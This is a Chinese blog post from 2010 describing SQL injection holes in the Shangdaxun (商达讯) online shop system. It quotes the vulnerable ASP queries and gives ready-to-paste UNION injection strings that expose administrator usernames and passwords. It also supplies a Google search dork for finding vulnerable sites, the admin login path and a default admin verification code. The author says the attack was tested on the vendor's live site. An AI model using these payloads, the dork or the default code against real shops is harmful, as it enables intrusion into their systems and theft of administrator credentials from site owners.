浏览模式: 标准 | 列表Tag:商达讯

商达讯网店系统淘宝拍拍分店版注射

Submitted by admin
2010, October 20, 1:16 AM

作者:Lan3a

官网:http://www.sungoto.com/
程序我感觉是抄袭的。不过又说不出来,到底抄袭的哪个程序。
先随便看了下代码,发现到了每一个变量都用了

SafeRequest()

这个函数来检查。
看了下,才发现原来是这个作用。

Function SafeRequest(ParaName,ParaType)
       Dim ParaValue
       ParaValue=Request(ParaName)
       If ParaType=1 then
              If not isNumeric(ParaValue) then
                     Response.write "<center>参数" & ParaName & "必须为数字型,请正确操作!</center>"
                     Response.end
              End if
       Else
              ParaValue=replace(ParaValue,"'","''")
       End if
       SafeRequest=ParaValue
End function



这个时候凡是遇到有SafeRequest()的我都没去看了。
就这样我找到了vworder.asp这个文件,这个文件里的变量没有做任何检查就执行了查询。

<%dim goods
goods=request.form("searchkey")
set rs=server.CreateObject("adodb.recordset")
rs.open "select id,name,price1,score,price2,vipprice,actiondate,UserSex,realname,receipt,goods,postcode,comments,comment,remarks,paymethord,deliverymethord,state,paid,priced,useremail,usertel,address,productnum from  orders  where goods='"&goods&"' ",conn,1,1
if rs.eof and rs.bof then
response.write "<center>查无此订单!</center>"
response.End
end if
%>


由于是post提交。所以我们来到searchorder.asp页面
大小: 39.59 K
尺寸: 500 x 278
浏览: 43 次
点击打开新窗口浏览全图


在订单号里输入:
1' and 1=2 union select 1,2,3,4,5,6,userpassword,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22,23,24 from admin where ''='
然后会发现管理员的用户密码被爆了出来~官网测试如下:
大小: 33.08 K
尺寸: 500 x 409
浏览: 46 次
点击打开新窗口浏览全图


最后我发现官网所有的程序都有这个漏洞,但需要更改查询的语句才能爆出密码。
 

Tags: 商达讯

商达讯智能网店管理系统高级企业版免费版9.0注入漏洞
这套系统很庞大,文件很多,我也没一一看完,大多数参数都被SafeRequest函数过滤了,但是在userfile.asp存在一处疏忽,看432行取回密码的过程:
sub repass()
dim shop
shop=SafeRequest("shop",1)
select case shop
'//输入用户名
case ""
response.Write "table width=100% border=0 align=center cellpadding=1 cellspacing=0"
response.Write "td height=30 bgcolor=80B5FF>div align=center>font color=FFFFFF取回密码"
response.Write "form name=shop0 method=post action=user_manage.asp?action=repass&shop=1>"
response.Write "tr>td height=50 bgcolor=ffffffdiv align=center>请输入您的用户名: input name=username type=text id=username size=16/div>"
response.Write "tr>td height=32 bgcolor=ffffff>div align=center>input type=submit name=Submit value=确 定 onclick='return check0();'tr>"
response.Write "/form>"
'//输入问题答案
case "1"
set rs=server.CreateObject("adodb.recordset")
rs.open "select UserQuesion,UserAnswer from Dv_user where username='"&trim(request.form("username"))&"' ",conn,1,1 '这里username直接从form取得,并没过滤带入数据库查询,在这注入
if rs.eof and rs.bof then
response.write "center>br>查无此用户,请返回!

"
else

注入语句很简单,' union select username&password,2 from DV_admin 官方测试也存在此漏洞

大小: 35.9 K
尺寸: 500 x 329
浏览: 34 次
点击打开新窗口浏览全图

利用:Google:inurl:scprolist.asp?bid= 点击登录,忘记密码,在用户名处写注入语句,确定
后台是 admin/admin_login.asp,默认管理员的认证码是wwwsdxcocn,但是许多网站都没开启认证码。

Tags: 商达讯